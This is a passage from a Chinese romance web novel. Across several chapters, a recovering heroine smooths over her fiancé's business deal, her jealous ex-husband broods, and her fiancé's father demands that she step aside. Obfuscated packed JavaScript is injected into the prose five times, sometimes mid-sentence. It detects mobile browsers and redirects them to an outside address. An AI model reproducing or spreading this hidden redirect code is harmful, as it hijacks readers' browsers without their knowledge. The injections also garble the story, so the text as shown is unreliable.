倏地,病房的门被敲响,声音不大,很轻。 盛景炎猜到是谁,只微微拧眉,也是担心在病房内交谈会扰到许愿休息,方才将文件放到床边。 他看着眼睫都在轻微颤动的爱人,就猜到她并未入睡。 他轻叹一声,在她眉心落下很轻的吻。 “阿愿,我就在门口,马上回来。” 盛景炎离开,病房的门被结结实实的关严,完全隔绝了内外的声音。 许愿抬头看了眼马上就空掉的点滴药瓶,直接迅速的拔掉手臂动脉的针头,虽疼却忍着没有痛呼出声,但少不得冒出了血珠。 没有立刻用棉球摁住针眼血,不停往外冒滴答滴答落在洁白的床铺上,染红了她的眼,也染红了沈略的双眼。 第178章 太在乎她 “许愿,你疯了吗!”沈略声音带了几分怒意。 许愿目光平静:“这是我的事。” “与你无关。”许愿抬手抹去手臂上的血珠。 病房的门被关上,房内安静得很。 她能听到自己体内血液轻微流动的声音,那种像是快要冲破皮肤涌动出来的让她溃败的鲜血。 她颤巍巍的扶着墙站起,头晕目眩。 哪怕是站都站不稳,但她还是推开沈略的手,独自打开一条门缝,想要听外面在说些什么。 盛景炎这次是为了金融峰会上的合作项目才飞到国外,但是可能人才落地,就因为她的事搭乘专机回国,可能合作商都没见到他本人。 国外的那些人最看重的就是承诺,不论你发生什么事你都要守约,盛景炎此次为了她,算是犯了对方的大忌。 他在利益和她之间选择了她,她当然要知道这次盛景炎到底牺牲了多少。 她听到盛景炎在向对方解释自己此次的策划案,他不提许愿受伤车祸的事,他不愿让人知晓许愿受到的伤害,直到此刻他都在坚定的维护许愿。 许愿眼睛里面都是带着笑的,她的身体很痛很虚弱,但是她还是会因为他的偏爱在意,而开心愉悦。 这次,她好像没有选错人。 许愿推开病房的门,盛景炎瞬间转身,看到她就这样光着脚站在病房门口,脸色苍白没有半分血色的脆弱模样,整个人眼底都染带上了怒意。 可此刻,他没有这个时间发火生气,对着许愿他也生不起气。 他将涌上来的怒火压下去,一言不发的快步走到她面前,将整个人拢进自己怀中抱进病房,眸光冷淡的扫过沈略,似乎是在怪他。 沈略哑口无言。 “阿愿,你现在不能受寒,你要见我,叫一声就好,我在门口听得到。” 盛景炎将人重新放到病床上,他甚至联系护士要了个暖手炉放到她的脚边。 许愿一直看着他为自己忙前忙后,许久她才开口:“找你合作的人是阿瑞斯吧?” “把手机给我,我来跟他谈。” 阿瑞斯是盛华的老朋友了,曾跟盛华多次合作,许愿在阿瑞斯这里还是非常有分量的。 盛景炎皱眉,并不打算将手机给她。 “阿愿,不要闹了。” “很久没有见过我的合作伙伴了,我想见一见都不可以吗?” 话落,许愿偏头瞥向沈略。 沈略果然有些茫然,在他印象中,许愿从未跟阿瑞斯有过任何的合作。 许愿看向沈略,语气略带几分冷淡:“抱歉,我有些合作要谈,还请沈秘书先离开。” 她如此冷淡的唤他一声“沈秘书”,好像以前的那三年都不复存在一般。 沈略觉得心口抽痛,但到底是没办法拒绝许愿,只能离开。 病房内只剩下盛景炎和许愿。 “把手机给我。”许愿重复,“盛景炎,就算你不说,我也猜得到你为了我损失了多少。你在乎,我已经让我的地位赶超你内心利益的比重,那我为什么不可以帮你?” 许愿郑重且认真的开口:“你是我的爱人,不是吗?” 盛景炎有片刻的沉默,到底是叹了口气,将手机递交到许愿手中。 许愿拨通阿瑞斯的电话,那边是阿瑞斯的助理接听的,显然阿瑞斯并不想见盛景炎了。 助理正打算说几句敷衍的话搪塞,但看到是许愿后,整个人都惊了一瞬。 “许!” 助理一句话立刻将一旁的阿瑞斯召来。 “许?我的天哪,真的是许?你怎么会用盛的电话打给我?”阿瑞斯吃惊的将手机重新夺过来,“许,听你的声音,你怎么好像很憔悴?你是发生了什么事吗?需要我将医生借给你吗?你看起来很不好。” 阿瑞斯对盛景炎是冷艳嘲讽,但到许愿这里就是温和细雨般柔情。 不单是许愿长了一张令人赏心悦目的脸,更因为许愿的盛华带着阿瑞斯大赚了几笔,可以说跟许愿合作的项目都很挣钱,谁会不喜欢钱跟钱过不去呢? 许愿抿唇:“我病了,阿瑞斯。” 许愿只一句话,阿瑞斯就已经开始慌张。 脑子里都想好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618132|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要如何联系上自己的医疗团队回国,给许愿治病,结果下一秒听到许愿开口:“盛景炎是我的爱人,我的未婚夫。他为了我,推迟了和你的见面时间,阿瑞斯,你在因为这件事生气吗?” 她真是一点都不委婉,直接开口,明晃晃的告诉阿瑞斯自己是盛景炎的爱人。 阿瑞斯整个人此刻都像是傻了一样,呆呆愣愣的站在原地。 不是? 也没人跟她说许愿的未婚夫是盛景炎啊? 这么大的事情,盛景炎竟然提都不提的吗? 但凡盛景炎提一句,她肯定客客气气的把人供起来,哪里敢得罪。 阿瑞斯尴尬的笑了笑。 “许,我没有生气,我以为盛是因为一些小事耽搁了我和他的合作。如果是因为你的话,那我们之间的合作时间当然可以推迟,一切以你为重。” “不过既然是你的未婚夫,那金融方面必定 是出彩的,有你在身边,这合作是绝对不会出问题的。” “等你身体好些后,你跟盛一起来吧,我也很久不见你了。” 阿瑞斯提出邀约。 许愿笑着应道:“好。” 盛景炎被阿瑞斯百般刁难,现在却因为许愿一通电话轻轻松松的解决了。 盛景炎垂下眼睫轻叹一口气。 “阿愿,你这样显得我有点没用。” 许愿伸出手轻抚他的侧脸,声音温柔:“你不会没用,如果不是因为我,你不会匆忙回国,你会见到阿瑞斯,你会让她知道你的策划案做得有多棒,你会因为这次合作同样成为她的挚友。” 她只不过是让一切回到正轨罢了。 她还想说句什么,盛景炎的目光却落在她手臂上。 衣服上带着血渍,手背和手臂上的青紫分外明显,现在血珠还在不停的往外冒着。 “你都……感觉不到疼吗!” 盛景炎是真的在生气,他此刻有些控制不住自己的情绪,这样吼完才发现自己吼了谁。 他觉得头有些痛,不由得揉了揉眉心:“抱歉阿愿,我只是见不得你这样。” 第179章 她在恨他……却在爱盛景炎 见不得她受伤,见不得她不爱惜自己的身体。 他真的只是…… 太在乎她了。 “其实感受不到多少疼痛的感觉。” 小腹的疼痛压过了其他地方的疼痛感,许愿微微扬眉,脸上带着浅淡的笑意。 “我只是想帮你。” 盛景炎清楚自己此刻说什么,许愿都是不会听的,他们都是这种性格。 “我去找江惊蛰先为你备上轮椅,最近出行,你可以先坐在轮椅上。” 许愿很轻微的叹了口气。 “坐着轮椅去参加金融峰会吗?有点丢脸哎。” “阿愿,你这么漂亮,怎么会丢脸。” 盛景炎揉了揉她蓬松的发:“我们阿愿就算是生病,也是最漂亮的病美人。” 对她,他总是毫不吝啬自己的赞美。 许愿牵强的扯了扯唇角,他知道许愿还因为那个孩子在内疚,这种事他说再多也没用,只能靠她自己调节过来。 许愿的情绪这几天都没能缓过来,盛景炎一直陪在她身边,因为担心她出事或者身体虚弱,所以哪怕是工作都是往后推。 金融峰会相关的准备工作已经做得够多了,他想多陪一陪许愿。 金融峰会前夕。 许愿已经睡得很沉,盛景炎收到了助理发来的短信。 【傅京礼一直在云尚。】 一直在云尚。 真是难为他有这份心守在云尚。 盛景炎垂下眼,藏下眼底的嘲讽和冷意。 他目光落在许愿脸上,她已经睡熟了,只是偶尔还会被噩梦惊醒,此刻怀里抱着个棉花娃娃,看着恬静美好。 任谁看到这一幕,都不会想到她是盛华的掌舵人领军人。 盛景炎在她额头印下很轻缓的一吻,方才离开。 敲响傅京礼的房间门时,傅京礼似乎早就猜到盛景炎会来,见到他毫不惊讶。 盛景炎慢条斯理的卷起袖口,含笑的眼睛里尽是凉薄的冷意。 “许愿的事,是你做的。” 他直接开口,完全不给傅京礼任何解释的机会,话落已经一拳狠狠砸过去。 傅京礼偏头躲过:“盛景炎,你有证据吗?” 他眸光阴鸷的死死盯着盛景炎,对盛景炎的恨意压过了一切。 “还需要什么证据?” “特意用一份合同骗我去了国外,然后迫害她,难道不是为了让她无法参加金融峰会?” 盛景炎咬牙,怒火根本无法掩藏。 “金融峰会?” 傅京礼嗤笑一声,眼底的冷意完全不藏。 这次是他在反击,肘击将盛景炎扣到地面:“盛景炎,你以为我在乎金融峰会?我在乎的,是背叛!” “许愿的孩子是谁的,嗯?她怀孕三个月,那时她还是我的妻子,却怀了你的孩子!” 盛景炎有一瞬的怔愣,傅京礼的拳头再度砸下来时,盛景炎握住他的拳。 盛景炎此刻是很想发笑的。 他看着面前无能狂怒的傅京礼,他完全能够想到许愿对他说这些时,她脸上会是怎样冰冷的表情。 她就这样果断决然的放弃了傅京礼,全然不给他任何机会,甚至不惜让自己成为婚内出轨的过错方,也不想再跟傅京礼扯上半点关系。 盛景炎抬眸眼神中明显带着危险,可那危险中还带着明显的嘲弄冷意。 “对,孩子是我的。” 盛景炎嗤笑一声,趁他不备一拳,已经狠狠砸到他脸上反击。 他的动作迅猛又狠辣,没有半分留情,直至看到傅京礼脸上带上青紫痕迹方才收手。 “傅京礼,你说得没错,孩子是我和阿愿的。” “你伤害他们,就是选择和盛世为敌。”盛景炎收回手站直身体,居高临下的睨向傅京礼,眼底弥漫着彻骨的冰寒。 “这次的合作结束后,盛世不会与傅氏有其他合作。” 这次,他仍然在许愿和利益之间选择了许愿。 这个选择并非是他思虑良久做出的决定,他真的只是单纯的因为许愿在傅京礼这里受到伤害,所以要解除两者之间的同盟合作关系。 那一刻,他没有想过许愿背后是盛华,他没想到任何利益相关的事,他想到的是许愿。 脑内闪过的是许愿眼睛红肿满脸泪水的扑进他怀里,克制不住的告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618133|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他孩子没有了那一幕。 他总要为她做点什么。 傅京礼眸光愈发深冷。 他目光扫向盛景炎的背影,眼底掠过一抹暗芒。 “盛景炎。”他叫住他,沉声,“许愿出事,与我无关。” 他开口:“不是我做的。” 盛景炎连头都未回,只留下一道淡淡的声音:“无论是谁,我都会查清楚,让她付出应有的代价。” 盛景炎离开了。 傅京礼抬手遮住自己的一双黑眸,灯光过于灼亮,有些刺眼,闪得他眼睛略微发痛。 盛景炎来找他是为了许愿,他很清楚这些。 许愿这几天极度缺乏安全感,盛景炎一直陪在她身边,几乎寸步不离,看不到盛景炎就会有些惊慌失措,完全不像那三年的 许愿。 在他身边的许愿,强大,稳定,优雅,永远都能稳定全场,而不是如今这个情绪不稳却又虚弱到需要人帮扶支撑的许愿。 可偏偏这样的许愿,他从未见过,她也从没想过依靠他。 她待盛景炎和待他,是不一样的。 如果说以往还能从许愿身上感受到爱意,那么现在面对许愿,好像只能感受到她对自己的恨意。 一切都变了。 她在恨他……却在爱盛景炎。 江惊蛰问他,你在为她心痛吗,在为她愤怒吗,在为她伤心难过吗,你需要她吗,会经常不受控制的想到他吗。 心痛吗? 看到她和盛景炎亲密甚至只是互动,他的心口处都会传来钝痛感。 是心痛吗? 看到盛景炎触碰她,他会愤怒,甚至心里好像有什么东西被打翻,酸涩蔓延在整个心口胸腔,是愤怒,是难过。 需要她吗? 会无意识的去寻找身边的她,工作的时候,吃饭的时候,开会的时候,醉酒的时候,她本该在他身边的。 他需要他。 甚至会不受控制的想到她。 江惊蛰说,那就是爱啊。 原来这就是爱吗? 他不由得抚在自己心口处,感受着心脏剧烈跳动的感觉,眼底却是一片黯然。 第180章 阴暗 他从没有这样清楚明白的知道许愿在恨他,却在爱着盛景炎。 他的女人,最终变成了盛景炎的爱人。 人是他亲自送出去的。 罪人是他自己。 傅京礼眸色愈发深沉,他站起身,目光落到监控面板上,看到病房内已经醒来安静看文件的许愿。 她的侧脸是如此精致漂亮,哪怕是带着病气,也掩盖不住身上令人惊艳的气质。 他克制不住的伸出手想去抚摸她的侧脸,却只触碰到冰冷的电子屏幕,感受不到她柔软温热的肌肤。 盛景炎进去了,他看到许愿本来平静的脸上露出笑颜,她眉眼弯弯的看着盛景炎,含笑的扬了扬手中的策划案。 以往的她,从不会这样亲近的待他。 傅京礼眸色愈发沉冷,看到盛景炎俯身亲吻她的额头,手却逐渐紧握成拳。 他们就是这样背叛了自己,背着他有了那个孩子! 他唇角勾出一抹残忍的笑意,长指划过电子屏幕上许愿的脸。 “没事,这次我不会怪你,毕竟是我先有了许宁。” 他声音低缓危险。 “我再给你一次做选择的机会,让你成为傅太太,你不愿意没关系,我知道是盛景炎在诱惑你。” 傅京礼的指尖仿佛都带着恨意划过他的脖颈。 “就像这个孩子一样,让他消失就够了。” 他突然喉间逸散出低低的笑声,笑声沉缓却又危险。 “如果盛景炎和他大哥盛明浔一样断掉那双腿,成为废人,阿愿你还会选择他吗?” “成为废人的盛景炎,还配得上你的喜欢吗?” “你那样聪明,应该会做出正确的决定……回到我身边。” 傅京礼的长指仍然在监控屏幕上流连,直到看到许愿主动去亲吻盛景炎,那股完全控制不住的怒意涌上心头。 他一拳狠狠砸到屏幕上,屏幕瞬间花屏发出“刺啦刺啦”的声响。 鲜血自他的手背指骨渗出。 没关系。 我都明白的。 是盛景炎一直出现在你身边引诱你,你控制不住自己的感情,我全都可以理解。 只要盛景炎出事就好了,这样你一定可以做出正确的选择。 房门被推开,看到已经损坏的电脑屏幕,江惊蛰沉下脸:“我看你是真的疯了。” 江惊蛰走过去将准备好的药箱放到桌上:“你到底想做什么?既然离婚了,就不要再招惹他们,各自安好不可以吗?” “你和许愿之间,错的难道不是你吗?” 江惊蛰直截了当的指出他和许宁之间的暧昧。 若是往常,傅京礼或许会沉默,但此刻,傅京礼瞳眸中染带着红血丝,他嗤笑几声,抬起头盯着他:“你觉得错的是我?” “如果错的只是我,那许愿的孩子是怎么来的?” “那是她和盛景炎的孩子。”他咬着牙,一字一顿带着无尽的恨意。 江惊蛰被他此刻的话吓得些微怔愣。 孩子是盛景炎的? 到底是他疯了还是傅京礼疯了,孩子明明是傅京礼的! 许愿那时跟盛景炎根本就不认识,又是哪里来的孩子? “你不是都知道吗?” 傅京礼无差别攻击:“盛景眼带着许愿来云尚做检查,你不是都清楚吗?” 江惊蛰沉默。 聪明如他,已经猜到是许愿在刺激傅京礼。 她不想让傅京礼知道那是他们两人的孩子,她不想傅京礼继续纠缠,不想跟他有其他任何羁绊,所以才选择撒谎告诉傅京礼,那是盛景炎的孩子。 这是许愿做出的选择,他无权干涉。 江惊蛰像是很沉重的叹了口气。 “你放过她,也放过你自己吧。” 傅京礼黑瞳幽暗,喉间溢出冷笑。 江惊蛰知道自己再劝也是没用的,他索性不劝了。 离开前看到傅京礼那双危险的黑眸,他不受控制的为许愿担忧。 他觉得傅京礼变了太多,他根本不清楚傅京礼会做出多少疯狂的事。 他只能在此刻祈祷傅京礼还有理智。 …… 盛景炎和许愿讨论着一份策划案,他手机突然响起来,是盛家的管家打来的电话,老管家没事不会打电话过来。 盛景炎担心是大哥盛明浔出事,立刻接通电话。 “二少爷,您快回来一趟吧,大少爷不知道怎么回事,突然发病了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618134|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 盛景炎脸色微变,眼神冰冷。 “我马上赶回去。” 挂断电话,盛景炎看向病床上的许愿:“阿愿,我大哥出事了,我需要回去一趟。” 他握住许愿的手,给予她安慰。 “我很快就回来。” 许愿这几天已经缓过劲儿,她也知道盛明浔的状况,点了点头催促他:“快去,我这里不会有事的。” 听到她这样说,盛景炎方才离开。 只是盛景炎前脚才离开,就有人闯入病房,助理才要拦,却见来人是盛父的人。 “许小姐,老盛总要见您。” 老盛总,盛景炎的父亲, 盛衡。 许愿垂下眼睫。 盛景炎前脚才离开,下一秒就有人来请……这些人是算好的。 许愿眼神幽暗,唇角带着笑:“那我想请问老盛总要见的是许总,还是许愿。” “自然是身为我们盛二少未婚妻的许愿。” 许愿情绪稳定不骄不躁:“那请稍等。” 她换好得体的衣服,却仍然选择坐在轮椅上。 不知为什么,她这次病后一直在吃江惊蛰开的药,但身体还是没能恢复好,越来越虚弱。 此刻也没有时间容她想更多了。 许愿上了盛家安排的车。 车子一路疾驰开到盛家老宅。 没有人迎上来,像是刻意的要给她个下马威。 许愿微微敛眉,不骄不躁的坐在车上并不下车。 她在等。 她不着急,着急的只会是盛衡。 盛衡支开盛景炎想私下见她,就是有事要跟她商量,盛景炎迟早能反应过来,她不着急,但盛衡肯定会着急。 她等着盛家派人来请她进去。 等待的时间不久,约莫只有一盏茶的时间,盛衡急匆匆的带着人出来。 看到许愿慢条斯理的翻看着资料文件,整个人都气笑了。 “许小姐真是好大的排场。” 盛衡开口就是阴阳怪气。 许愿缓缓抬起头,露出那张不施粉黛素净美好的面容。 娇艳柔美的五官彻底展露在盛衡面前,盛衡整个人目光都跟着呆滞了。 第181章 只有这样的女人才配嫁给盛家继承人 盛衡是见过苏青莲的。 当年苏青莲名声大盛时,盛衡还是圈内有名的玩咖,身边红颜知己众多,唯一念念不忘的仅有一个苏青莲。 苏青莲的美不是浮于表面的,她的美是那种能让人感觉到她的强大的美,是那种平静华美像是一匹极具收藏价值的云锦。 远看近看,都只会最先沉浸在云锦的繁美之中。 只有当你拿了放大镜或者更精密的机械化工具,才能透过云锦上浮华的图案,看到其内细小的编码数字。 令人惊心动魄的美和令人震撼的高智商,随便哪一种都仿佛能将身边人完全碾压。 许愿的相貌有七分像苏青莲,但是两人气质其实相差的很多。 苏青莲更温婉,温婉中藏着难掩的危险,只是微微一笑都会让人有种被麻痹的错觉,像是一池春水,但这池水多深藏着多少危险没有人说得清。 许愿给人的第一感觉是冷的,像是冬日的傲雪凌枝的红梅,傲然,清冷,孤傲,可她就是能低下高高在上的头颅,做出你想的任何姿态,温婉,优雅,体贴,或者是凌厉。 但母女二人给人的第一感觉都是震撼。 盛衡目光有些贪婪的在许愿脸上流连。 不愧是苏青莲的女儿,就是够美。 盛衡当然打过苏青莲的主意,但是当年苏青莲的身份地位,不是他能招惹得起的。 更遑论苏青莲的竹马是唐家人,纵然后期两人没能在一起,他也不敢轻易染指苏青莲。 以唐家人的雄厚背景,若非苏青莲自己愿意,没有任何人能强迫苏青莲做事。 盛衡就是清楚这些,所以才在后期找寻过多个长相肖似苏青莲的女人,他把苏青莲看成是此生挚爱。 只可惜苏青莲从未将他看在眼里,对苏青莲来说,盛衡的爱只会令人作呕。 “许小姐,初次见面,我是盛衡。” 冲着许愿这张脸盛衡做出一副温和有礼的模样,属实虚伪又可笑。 许愿垂下眼睫,抬头瞥向他时眼底的讥嘲意味儿藏都未藏。 盛衡却仿佛感受不到许愿此刻望向自己的眼神一般,极为绅士的向她伸出手,似乎是想扶她下车。 “抱歉,我现在还需要坐轮椅。” 许愿疏离的回应。 她身体虚弱,经常性会因为体力不支站不稳。 若是盛景炎在身边,她还能有个依靠,但现在盛景炎没有在身边,她自不会让人发现自己的把柄。 盛衡听此眼神一暗,目光落到她已然平坦的小腹,本来温和有礼的态度也瞬间变了。 现在的许愿,可不配他继续以礼相待了。 一个结过婚怀过孩子,还车祸小产的女人,在他心里就是整个人都脏掉了。 就算再如何厉害,还不是结过婚了? 若是苏青莲他还能接受,但许愿可不是苏青莲。 盛衡方才的倾慕,都变成了明显的鄙夷。 许愿能感受到对方的情绪变化,但她脸上没有任何表情,仍是淡淡的。 许愿毫不在意盛衡陡然变化的态度,她把玩着手机,声音轻缓:“盛先生猜猜看,阿炎什么时候能找到我。” 她还从未唤过盛景炎“阿炎”。 但她不介意此刻当着盛衡的面,故意如此亲密的喊他的名字,让他感受到自己和盛景炎之间的关系。 盛衡脸色骤变。 不孝子!盛景炎那个不孝子! 他当然给盛景炎挑选了更适合他的女人! 出身高贵,家世清白,样貌优越。 纵然是比不过许愿,可单是那出身,就狠狠压了许愿一头。 许愿有什么? 若是苏青莲还活着,那苏青莲就是许愿最大的倚仗!所有人都要捧着她哄着她。 苏青莲已经死了,现在的许愿算什么呢? 她是聪慧是金融圈子内的新贵,但她就是个女人,除非真的站在顶端,否则迟早有一日会被人重新拉拽进入泥潭! 他为盛景炎选择的千金小姐才是更适合盛景炎的,而许愿这种出身的,随便谁一脚就能踩进泥地里。 那位千金小姐才是真正的高高在上,许愿不配与之相提并论。 盛衡冷哼一声,吩咐人将许愿的轮椅搬下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618135|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许愿无视盛衡此刻的态度。 盛家老宅不比许家宅院豪华,许家现今的宅院是当初苏青莲留下的宅院,整个a市比那座宅院豪华的没几家。 进入大厅,盛衡面色沉沉的倒了杯茶水,推至许愿面前。 满满一整杯茶因为盛衡的大力推搡,已经溢散出来。 许愿瞥了一眼,眼底的冷意却并未浮现出来,唇角却勾勒出一抹浅淡的弧度。 茶满欺人。 盛衡做出这种举动,实在是可笑至极。 许愿并不去动那杯茶,她微微敛眉:“盛先生应该不剩多少时间了,我想知道盛先生叫我来,到底是为了什么要紧事?” “总不会只是为了请我喝杯茶。” 盛衡嗤笑一声,将一份资料丢到桌上。 “许小姐看看吧。” 那是一份女人的资料,换句话说,是一份适 婚的女性资料。 a市唐家旁支千金小姐唐雅颂,背靠唐家,是a市有名的顶级名媛,年龄25岁,毕业于国青藤金融,提前修完了金融学拿到了全a的成绩,是业内佼佼者。 许愿眼神微暗。 很明显,盛衡终于暴露了他自己的心思。 这是盛衡为盛景炎挑选的结婚对象。 高贵的出身,漂亮的容貌,优秀的学历,雄厚的背景,这样的女性该是顶流圈子追求的对象。 若盛景炎不是她的爱人,若她只是盛景炎的好友,她也会夸赞一句,不错的对象,绝对会是顶配。 但现在盛景炎是她的爱人,盛衡此番是要让这位唐雅颂小姐插足他们之间的感情。 许愿微笑:“盛先生让我看这份资料,是想说什么呢?” “这位唐小姐确实很优秀。” 她语气淡淡的,完全没有被打击到的模样。 盛衡语气中饱含了对许愿的恶意,他冷笑一声。 “许愿,你这么聪明,不会猜不到我的用意。” “唐小姐出身高贵清清白白,只有这样的女人,才配嫁给盛家继承人,堂堂正正光明正大的站在盛景炎身边。” 第182章 盛家娶,唐家就会嫁吗 “盛景炎既然是盛家的继承人,那么站在他身边的女人,就要足够干净。” “对方应该高贵优雅,清白优秀,而不是一个已经嫁过人,小产过的女人。” 盛衡直白的话语直刺向许愿心口。 许愿瞳眸幽暗,她抬眸看向面前说出刺耳话语的盛衡,喉间溢出嘲讽的笑意。 “盛先生调查得可真清楚,可盛先生似乎并不能代表阿炎的立场。如果他在意这些,最初就不会追求我。” 当然,许愿没有说的是自己真正的身份。 她现在处于敏感多疑的时候,她记得很清楚,自己和盛景炎的开始最初源自于盛景炎见色起意的逗弄,真正开始追求她是因为她盛华掌舵人的身份。 因为这层身份,盛景炎才会逐渐贴近她,了解她。 当然,她肯答应盛景炎的追求,也是因为盛景炎是盛世的继承人,他们两人目的都不单纯。 因为利益,才牢牢牵扯到一起。 现在才小产过,她情绪不稳定,对这段感情都仿佛产生了怀疑。 理智告诉她,盛景炎是不同的,但心理的感性让她不受控制的去想更多。 许愿很想盛景炎现在就出现在自己面前,然后去逼问他,到底是爱还是不爱。 “许小姐,你觉得唐雅颂小姐如何,她漂亮吗?”盛衡问。 唐家人就没有不好看的,许愿淡淡道:“唐小姐自然是容貌上乘。” “唐雅颂小姐毕业于国外有名的青藤大学,并且以全a的成绩拿到毕业证,你觉得如何?” 青藤大学对于a市顶流圈子其实并不算难考,甚至有些家族砸钱也可以上,难就难在如何拿到毕业证。 而全a成绩拿到毕业证,更是对其能力的认可,唐雅颂的优秀自不必多说。 “唐雅颂小姐智商高于常人,很优秀。”许愿回答。 “唐雅颂小姐是唐家旁支出身的小姐,虽然不是嫡系出身,却是唐家家主继承人的侄女,这样的出身又如何?”盛衡又问。 许愿眼神微暗:“完美的出身。” 不必担负唐家嫡系的重担,却能吃到唐家人的红利,是家主继承人的侄女更能得到优待,所以的确是完美的出身。 盛衡眼底都藏着明显的得意。 “所以许小姐,这样一个出身高贵优秀漂亮……最重要是清清白白,没有被人玷污过的千金小姐,才更适合成为盛家继承人的爱人。” “而不是像许小姐这般,一旦被人扒出你和傅总的过往……你和盛景炎只会被群嘲,他们会嘲什么讽什么,想必许小姐也都猜得到。” 纵然许愿再如何优秀,终究逃不过那些人嗤笑辱骂一句“破鞋”“二手货”。 而将许愿视作珍宝,捧在掌心疼宠的盛景炎,更是会被笑话。 盛家丢不起这个脸! 盛衡将茶壶狠狠掷到桌上,发出响动。 “许小姐,如果你真的对盛景炎有感情,劳烦你现在就跟他分手。” “只有你们分手,我们盛家才能实现利益最大化,将唐家小姐娶进门。” 许愿微微歪头,长指抚过资料上唐雅颂的照片,目光淡淡声音轻缓:“盛家娶,唐家就会嫁吗?” 盛衡更加得意。 “盛景炎当初在a大念书,这个不孝子当初在国外的成绩一直被教授压着,他那时就是教授眼底的天才学生,唐小姐也跟我这个不孝子参加过几次项目,她最了解盛景炎是什么实力。” “这场婚事,还是唐小姐主动提出的。” “唐小姐都开口了,我们盛家若是回绝,岂不是太不知礼数了……所以,只能请许小姐让位了。” 说是要让许愿让位,其实就是要让许愿滚蛋。 许愿眉眼清冷,她低头算着时间,唇角勾勒出淡淡的笑意。 “你跟我谈这些没有任何意义,不如再等几分钟,让他亲自来跟你谈。” 许愿明明是坐在轮椅上的,但是此刻却不是弱者的姿态,她抬眸睥睨盛衡,开口时喉间都明显带着嘲意。 “只要盛景炎同意分开,我绝不会多纠缠。” 她在意盛景炎吗? 当然是在意的。 可她为什么要这样说? 因为她也想知道盛景炎的回答,她想知道盛景炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618136|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对自己的真实想法。 不得不承认,这是一次豪赌。 赌输了,算是自己看错了人还能及时机损。 若是赌对了……她可能真的要跟盛景炎牵扯纠缠一辈子了。 …… 龙景华苑。 匆匆赶来的盛景炎并未看到躺在病床上的盛明浔。 盛明浔气色很好,甚至有时间坐在轮椅上兀自对弈下棋,听到开门声眼尾上挑了几分。 “既然来了,那就来一局。” 两人是同父同母的亲兄弟,长得很像。 只是盛明浔身体一直不大好带了几分病气,少了盛景炎身上那股子邪肆的少年气,多了几分温雅感。 盛景炎没有拒绝,心不在焉的与他对棋,他心思不在这里,几步棋也走得乱七八糟。 盛明浔轻叹一口气,收起棋子,缓缓开口:“你 的心都在许愿那里,这盘棋是下不成了。” 盛景炎跟盛明浔关系一向很好,对于盛景炎来说,盛明浔是这世界上唯一他在乎的血亲。 此刻听他如此说,眉梢都跟着仰了仰,忍不住提起许愿的优秀。 他开口提到许愿都是:“我的阿愿。” 只这四个字“我的阿愿”,就足以表明盛景炎对许愿的在意。 盛明浔眸光深了几分。 “阿炎。”盛明浔抿了口茶开口,“许愿心思很重,你跟她在一起,会很辛苦。” 盛景炎心思重,许愿心思也重。 两个同样高智商的人在一起,难保不会互相算计,这样还要如何生活? “那只是对外人,她不会算计我,我同样也不会算计她,这是我们之间的默契。” 盛景炎对此有极大的自信。 “再说……她若是不聪明,我也不会喜欢她追求她,我喜欢聪明的女人。” 盛明浔微微蜷缩指尖。 “那么,许愿跟傅京礼结过婚怀过他孩子这件事,你也能完全不在意的接纳吗?” 盛明浔看着盛景炎的眼,语气认真严肃。 “阿炎,这样的许愿,还配得上你吗?” 第183章 维护 